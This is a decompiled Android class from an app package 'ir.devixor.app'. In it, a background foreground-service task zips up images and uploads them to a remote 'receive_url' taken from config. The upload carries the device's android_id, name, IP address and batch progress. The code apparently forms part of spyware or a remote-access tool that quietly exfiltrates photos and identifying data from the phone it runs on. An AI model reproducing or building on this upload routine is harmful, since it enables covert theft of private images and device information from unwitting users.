package o;

import ir.devixor.app.service.ForegroundService;
import java.io.File;
import java.io.UnsupportedEncodingException;
import java.net.URLEncoder;
import org.json.JSONObject;

/* compiled from: r8-map-id-3b7cc9102578c509342fa2f0fabed2bfc72239cd258d579fc679bfcbc198b048 */
/* loaded from: classes.dex */
public final class EB extends Sb0 implements SC {
    public final /* synthetic */ ForegroundService p;
    public final /* synthetic */ File q;
    public final /* synthetic */ String r;
    public final /* synthetic */ int s;
    public final /* synthetic */ int t;
    public final /* synthetic */ int u;
    public final /* synthetic */ int v;
    public final /* synthetic */ int w;
    public final /* synthetic */ int x;
    public final /* synthetic */ int y;

    /* JADX WARN: 'super' call moved to the top of the method (can break code semantics) */
    public EB(ForegroundService foregroundService, File file, String str, int i, int i2, int i3, int i4, int i5, int i6, int i7, InterfaceC0220Im interfaceC0220Im) {
        super(2, interfaceC0220Im);
        this.p = foregroundService;
        this.q = file;
        this.r = str;
        this.s = i;
        this.t = i2;
        this.u = i3;
        this.v = i4;
        this.w = i5;
        this.x = i6;
        this.y = i7;
    }

    @Override // o.SC
    public final Object f(Object obj, Object obj2) {
        return ((EB) l((InterfaceC0065Cn) obj, (InterfaceC0220Im) obj2)).n(Oh0.a);
    }

    @Override // o.AbstractC0728ad
    public final InterfaceC0220Im l(Object obj, InterfaceC0220Im interfaceC0220Im) {
        return new EB(this.p, this.q, this.r, this.s, this.t, this.u, this.v, this.w, this.x, this.y, interfaceC0220Im);
    }

    @Override // o.AbstractC0728ad
    public final Object n(Object obj) throws UnsupportedEncodingException {
        boolean z;
        JSONObject jSONObject;
        String string;
        String string2;
        String strOptString;
        ForegroundService foregroundService = this.p;
        File file = this.q;
        IJ.H(obj);
        try {
            jSONObject = foregroundService.f36o;
        } catch (Exception e) {
            e.getMessage();
            z = false;
        }
        if (jSONObject != null && (string = jSONObject.getString("receive_url")) != null) {
            JSONObject jSONObject2 = foregroundService.f36o;
            if (jSONObject2 != null && (string2 = jSONObject2.getString("port")) != null) {
                JSONObject jSONObjectOptJSONObject = new JSONObject(ForegroundService.o(foregroundService)).getJSONArray("ips").optJSONObject(0);
                if (jSONObjectOptJSONObject == null || (strOptString = jSONObjectOptJSONObject.optString("ip")) == null) {
                    strOptString = "unknown";
                }
                String strEncode = URLEncoder.encode(foregroundService.q, "UTF-8");
                long length = file.length() / 1024;
                String str = string + "?type=UPLOAD_IMAGE_ZIP&port=" + string2 + "&android_id=" + foregroundService.p + "&image_type=" + this.r + "&device_name=" + strEncode + "&ip=" + strOptString + "&batch_current=" + this.s + "&batch_total=" + this.t + "&batch_ok=" + this.u + "&batch_fail=" + this.v + "&total_ok=" + this.w + "&total_fail=" + this.x + "&progress_percent=" + this.y + "&zip_size_kb=" + length;
                file.getName();
                C2804wO c2804wO = AbstractC2619uT.a;
                boolean zC = AbstractC2619uT.c(str, file.getAbsolutePath(), "application/zip", file.getName());
                if (zC) {
                    file.getName();
                } else {
                    file.getName();
                }
                z = zC;
                return Boolean.valueOf(z);
            }
            return Boolean.FALSE;
        }
        return Boolean.FALSE;
    }
}
